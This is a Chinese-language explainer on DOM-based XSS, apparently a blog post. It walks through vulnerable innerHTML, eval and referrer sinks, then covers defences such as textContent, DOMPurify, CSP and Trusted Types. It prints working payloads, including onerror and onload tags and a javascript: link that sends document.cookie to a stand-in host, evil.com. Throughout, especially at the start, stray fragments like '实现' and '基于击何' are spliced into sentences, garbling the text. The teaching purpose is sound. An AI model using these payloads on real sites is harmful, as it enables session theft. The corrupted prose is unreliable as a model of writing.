基于DOM的XSS攻击是如何实现的

你点开一个链接，页面正常加载，实现服务器日志干干净净——没有可疑请求，基于击何没有恶意参数。实现但你的基于击何浏览器已经执行了攻击者的脚本。这就是实现基于DOM的XSS最让人头疼的地方：恶意载荷根本没经过服务器，全在浏览器里就地引爆。基于击何

先看个最小化的实现例子。假设页面有个功能，基于击何从URL的实现#后面取名字显示欢迎语：

<div id="greeting"></div> <script> var name = decodeURIComponent(location.hash.slice(1)); document.getElementById('greeting').innerHTML = 'Hello, ' + name; </script>

正常访问page.html#Alice，显示“Hello,基于击何 Alice”。但如果你把链接改成page.html#<img src=x onerror=alert(1)>，实现innerHTML会老老实实把这段字符串解析成HTML，基于击何<img>标签被创建，实现src指向不存在的基于击何x，加载失败触发onerror，弹窗。整个过程服务器只返回了那个静态HTML文件，完全不知道浏览器里发生了什么。

关键点在于innerHTML、outerHTML、document.write这些API——它们会把字符串当HTML解析，而不是纯文本。攻击者要做的就是找到代码里“把不可信数据塞进这些API”的地方。我见过一个真实案例：某后台系统用location.search取参数，拼进eval()里做动态配置。攻击者构造?config=alert(document.cookie)，直接执行。服务器端WAF连个影子都看不到，因为?后面的东西根本没发往服务器。

再深入一层。有些场景不直接弹窗，而是偷数据。比如页面从document.referrer取来源，写入一个隐藏的<a>标签的href。攻击者诱导你从恶意页面点击过来，referrer里就带着javascript:fetch('//evil.com?c='+document.cookie)。你点一下那个隐藏链接，cookie就飞了。这种链路里，服务器端毫无感知，因为referrer是浏览器自动带的，页面自己把它变成了可执行代码。

为什么这类攻击特别难防？服务器端输入过滤、输出编码，针对的是“数据从服务器反射回来”的场景。但DOM XSS的数据流完全在客户端：location、document.URL、window.name、postMessage的数据……这些源头不经过服务器，你后端再多的htmlspecialchars也管不着。防御必须在前端做——要么用textContent代替innerHTML，要么上DOMPurify这类库，要么启用CSP限制内联脚本。但现实是，很多老代码里innerHTML满天飞，改起来头疼。

我自己的习惯：看到innerHTML就条件反射地找数据来源。如果来源是location.hash或者document.referrer，直接标红。有次审计一个单页应用，路由用location.hash切换视图，视图内容直接innerHTML渲染。攻击者只要构造#<svg onload=alert(1)>，用户一访问就中招。更骚的是，这个hash值还会被存到sessionStorage，下次打开页面照样执行——持久化DOM XSS，连服务器都不用碰。

浏览器其实在进化。innerHTML插入的<script>不会执行，但<img onerror>、<svg onload>照样跑。Trusted Types API试图从根源上禁止字符串赋给危险sink，但兼容性和改造成本摆在那儿。目前最实在的做法：前端代码里把所有动态HTML渲染都过一遍净化库，别偷懒用字符串拼接。毕竟，服务器不知道的事，浏览器可全知道。